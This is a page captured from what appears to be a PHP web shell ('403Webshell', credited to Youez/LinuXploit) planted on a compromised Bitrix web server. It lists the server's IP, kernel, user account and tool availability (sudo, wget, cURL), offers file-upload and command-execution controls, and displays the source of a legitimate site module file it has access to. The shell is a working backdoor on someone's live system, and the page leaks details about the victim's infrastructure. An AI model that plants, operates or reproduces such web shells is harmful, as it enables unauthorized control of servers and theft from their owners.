403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/tools/wbs24.exchange1c/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/tools/wbs24.exchange1c/products.php
<?php
define('STOP_STATISTICS', true);
define('NO_AGENT_CHECK', true);
define('NOT_CHECK_PERMISSIONS', true);

use Bitrix\Main\Loader;
use Wbs24\Exchange1c\Router;

function saveLog($data)
{
    $data = str_replace("\r", "", $data);
    $data = str_replace("\n", "", $data);

    $log = date("Y.m.d H:i:s")."\r\n".print_r($data, true)."\r\n\r\n";
    $handle = @fopen($_SERVER['DOCUMENT_ROOT'].'/upload/wbs24_exchange1c_input_'.date('Ymd').'.log', 'a');
	fwrite($handle, $log);
	fclose($handle);
}

set_time_limit(300);

header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: POST");
header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Origin, Accept, X-Requested-With, Content-Type, Access-Control-Request-Method, Access-Control-Request-Headers");
$json = file_get_contents('php://input');
saveLog($json);
$request = json_decode($json, true);

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

if (!Loader::includeModule('wbs24.exchange1c')) return;
$router = new Router();
$router->processProducts($request);

Youez - 2016 - github.com/yon3zu
LinuXploit